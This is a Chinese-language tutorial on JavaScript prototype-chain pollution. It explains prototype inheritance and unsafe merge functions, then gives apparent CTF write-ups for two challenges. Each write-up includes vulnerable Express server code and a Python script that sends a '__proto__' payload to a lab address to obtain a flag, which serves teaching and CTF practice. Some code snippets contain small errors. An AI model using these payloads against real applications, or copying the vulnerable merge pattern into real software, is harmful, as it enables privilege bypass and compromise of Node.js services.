安全基础 --- 原型链污染

原型链

大部分面向对象的编程语言，都是通过“类”（class）实现对象的继承。传统上，JavaScript 语言的继承不通过 class，而是通过“原型对象”（prototype）实现

1、prototype 属性的作用

JavaScript 规定，每个函数都有一个prototype属性，指向一个对象

function f() {}
typeof f.prototype // "object"
函数`f`默认具有`prototype`属性，指向一个对象

js中类的建立

js 中，定义一个类，需以定义“构造函数”的方式来定义：

function Foo() {this.bar = 1;
}new Foo();

解析：

Foo函数的内容，就是Foo类的构造函数，this.bar就表示Foo类中的一个属性

（为简化编写js的代码，ECmAScript6 后增加了class语法，但class其实只是一个语法塘）

js中的类中方法的建立

一个类中必然有一些方法，类似属性this.bar，也可将方法定义在构造函数内部

function Foo() {this.bar = 1;this.show = function() {console.log(this.bar);}
}(new Foo()).show()  // 1

解析：

出现问题：新建Foo对象时，this.show = function()... 就会执行一次，这个show方法实际上是绑定在对象上的，而不是绑定在“类”中

js中原型prototype的引用

在创建类时只创建一次show方法，需要使用原型（prototype）

function Foo() {this.bar = 1;
}Foo.prototype.show = function show() {console.log(this.bar);
}let foo = new Foo();
foo.show();

解析：

原型prototype是类Foo的一个属性，所有用Foo类实例化的对象，都有这个属性的所有内容，包括变量和方法。foo对象，天生具有foo.show()方法

此时Foo.prototype访问Foo类的原型，但是Foo实例化出来的对象，不能够通过prototype访问原型

2、__proto__

是 JavaScript 中一个对象的内部属性，它指向该对象的原型。原型是另一个对象，包含共享的属性和方法，对象可以通过原型继承这些属性和方法。

js 中__proto__的引用

一个 Foo 类实例化出来的 foo 对象，可通过foo.__proto__属性来访问Foo类中的原型

prototype和__proto__的定义

1. prototype：一个类的属性，所有类对象在实例化的时候会拥有prototype中的属性和方法
2. __proto__：一个对象的__proto__属性，指向这个对象所在的类的prototype属性

3、原型链继承

所有类对象在实例化的时候将会拥有 prototype 的属性和方法，这个特性被用来实现 js 中的继承机制

function Father() {this.first_name = 'Donald';this.last_name = 'Trump';
}function Son() {this.first_name = 'Melania';
}Son.prototype = new Father();let son = new Son();
console.log(`Name:${son.first_name} ${son.last_name}`)
//  Name:Melania Trump

解析：

Son类继承了Father类的last_name属性

主要流程：

1. 在对象son中寻找last_name
2. 无法找出，则在son.__proto__中寻找last_name
3. 如果仍然无法找到，则继续在son.__proto__.__proto__中寻找last_name
4. 依次寻找，直到null结束。如：object.prototype的__proto__就是null

（js 中的这个查找机制，被运用在面向对象的继承中，被称为是prototype继承链）

PS：

1. 每个构造函数（constructor）都有一个原型对象（prototype）
2. 对象的__proto__属性，指向类的原型对象prototype
3. js 使用prototype链实现继承机制

4、原型链污染

实例：

foo.__proto__指向的是Foo类的prototype。若修改foo.__proto__中的值，就可修改Foo类?

// foo是一个简单的JavaScript对象
let foo = {bar:1};// foo.bar此时为1
console.log(foo.bar);// 修改foo的原型（即object）
foo.__proto__.bar = 2;// 查找顺序原因，foo.bar仍然是1
console.log(foo.bar);// 此时用objecr创建一个空的zoo对象
let zoo = {};// 查看zoo.bar
console.log(zoo.bar);

解析：

修改 foo 原型foo.__proto__.bar = 2，而 foo 是一个object类的实例，所以实际上是修改了object这个类，给这个类增加了一个属性bar，值为2

后来用object类创建了一个zoo对象，let zoo = {}，zoo对象自然也有一个bar属性了

原型链污染定义：

如果攻击者控制并修改了一个对象的原型，那将可以影响所有和这个对象来自同一个类、父类的对象，这种攻击方式就是原型链污染

哪些情况原型链会被污染？

哪些情况可以设置__proto__的值？找到能够控制数组（对象）的“键名”的操作即可：

使用megre测试

function merge (target,source) {for(let key in source) {if(key in source && key in target){merge(target[key],source[key]);}else{target[key] = source[key];}}
}

merge操作是最常见可能控制键名的操作，也最能被原型链攻击

在合并过程中，存在赋值的操作 target[key] = source[key]，那么，这个key如果是__proto__,是不是就可以原型链污染呢？

使用如下代码进行测试：

let o1 = {};
let o2 = {a:1,"__proto__":{b:2}};
merge(o1,o2);
console.log(o1.a,o1.b);o3 = {};
console.log(o3.b);

结果：合并成功，原型链未被污染

解析：

js 创建 o2 的过程（let o2 = {a:2,"__proto__":{b:2}}）中，__proto__代表o2的原型了，此时遍历o2的所有键名，拿到的是[a,b]，__proto__并不是一个key，也不会修改object的原型

修改代码

let o1 = {};
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}');
merge(o1,o2);
console.log(o1.a,o2.b);o3 = {};
console.log(o3.b);

解析：

JSON解析的情况下，__proto__会被认为是一个真正的“键名”，不代表原型，所以在遍历o2的时候存在这个键，

新建的o3对象，也存在b属性，说明object已被污染

实例

例1：hackit2018

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
//目前user并没有admintoken
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})

解析：

获取 flag 的条件是传入的querytoken要和user数组本身的admintoken的MD5值相等，且二者都要存在；全文没有对user.afmintoken进行赋值，理论上这个值不存在，但存在以下赋值语句

matrix[client.row][client.col] = client.data;
其中data、row、col，都是post传入的值，都是可控的。所以可构造原型链污染

本地测试

payload：使用python传入参数

import requests
import jsonurl = "http://192.168.174.123:3000/api"
url1 = "http://192.168.174.123:3000/admin?querytoken=5881ca97cfe9782358a88e0b31092814"headers = {"Content-type": "application/json"}data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}res1 = requests.post(url, headers=headers, data=json.dumps(data))
# json.dumps与json.parse是相同的 
res2 = requests.get(url1)print(res2.text)

运行结果：

例2：

'use strict';const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');const isObject = obj => obj && obj.constructor && obj.constructor === Object;function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}function clone(a) {return merge({}, a);
}// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.name) {res.cookie('name', copybody.name).json({"done": "cookie set"});} else {res.json({"error": "cookie not set"})}
});
app.get('/getFlag', (req, res) => {var аdmin = JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

解析：

分析题目，获取flag的条件是：admin.admin == 1，而 admin 本身是一个 object ，其admin 属性本身并不存在，且有敏感函数 merge

function merge(a, b) {    for (var attr in b) {        if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}    
return a;
}// merge函数的作用是进行对象的合并，涉及到对象的赋值，键值可控，即可出发原型链污染

本地测试

显式为undefined，如下

创建字典时，__proto__不是作为键名，而是作为__proto__给其父类进行赋值，所以在test.__proto__中才有admin属性，目的是让__proto__作为键值，所以使用JSON.parse()

JSON.parse()会将json字符串转化为JavaScript中的object

此时创建类的时候就不会直接给父类赋值了 ，且题中也出现了JSON.parse

payload：使用python传入参数

import requests
import jsonurl1 = "http://192.168.174.123:3000/signup"
url2 = "http://192.168.174.123:3000/getflag"s = requests.session()headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)

运行结果：

附：构造函数无return

function Person(name,age){this.name = name;this.age = age;// PS:没有显式的return语句
}const person1 = new Person("ling",22);
console.log(person1); // output:Person(name:'ling',age:22)

在第一个实例中，Person 构造函数没有显式的 return 语句，因此 new Person("ling",20) 将隐式地返回新创建的 Person 对象实例，并赋值给 person1 变量

function AnotherPerson(name,age){this.name = name;this.age = age;return{message:"This is returned object."};
}console.person2 = new AnotherPerson("Bob",25);
console.log(person2);// output:{message:'This is returned object.'}

第二个示例中，AnotherPerson 构造函数有一个显式的 return 语句，并返回了一个新的对象 {message:"This is a object."}，在这种情况下，new AnotherPerson("Bob",25) 将返回一个新的对象，而不是创建的AnotherPerson对象实例。因此，person2 变量得到的是一个普通对象而不是AnotherPerson的实例。